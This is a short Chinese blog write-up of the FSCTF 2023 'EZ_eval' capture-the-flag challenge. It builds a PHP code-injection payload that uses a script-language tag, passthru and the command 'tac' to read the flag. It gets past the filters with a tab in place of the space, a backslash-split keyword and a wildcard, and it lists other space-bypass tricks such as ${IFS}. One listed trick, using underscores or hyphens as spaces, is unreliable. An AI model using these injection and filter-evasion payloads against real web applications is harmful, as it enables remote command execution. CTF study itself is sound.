xrzxyyds

博客园 首页 新随笔 联系 订阅 管理

[FSCTF 2023]EZ_eval

1698164145870

这道题关键就是过滤了?号和空格还有eval执行时用了php的结束标志表示php代码到此为止了,那不行啊我后面的参数还等着被执行呢……
可以用php短标签,有三种方式:

  1. <? echo '123';?> #前提是开启配置参数short_open_tags=on​​

  2. <script language="php">echo 'hello'; #不需要修改参数开关,但是只能在7.0以下可用。​​

  3. <% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用​​

    1698165324742所以用第二种嘛

    构造payload:word=<script%09language="php">passthru("ta\c%09/f*");

    用%09绕过空格,其它的我都试了一遍,没绕过

    用\绕过tac的限制

    *通配符绕过flag的关键字

    最后:

    d4ff212ac2dd7a088d8846a24e6c29f其它绕过空格的方式:

    %20: 在URL编码中,空格通常被表示为 %20​​。

    %09: 水平制表符(Horizontal Tab)的URL编码是 %09​​。

    使用其他字符: 有时你可以使用其他字符来代替空格,例如使用下划线 _​ 或连字符 -​ 来表示空格。

    \t

    ${IFS}

    $IFS$1​//1这个数字写什么都行好像

    <

    <>

    ,

posted on 2023-10-25 00:49  xrzx  阅读(88)  评论(0编辑  收藏  举报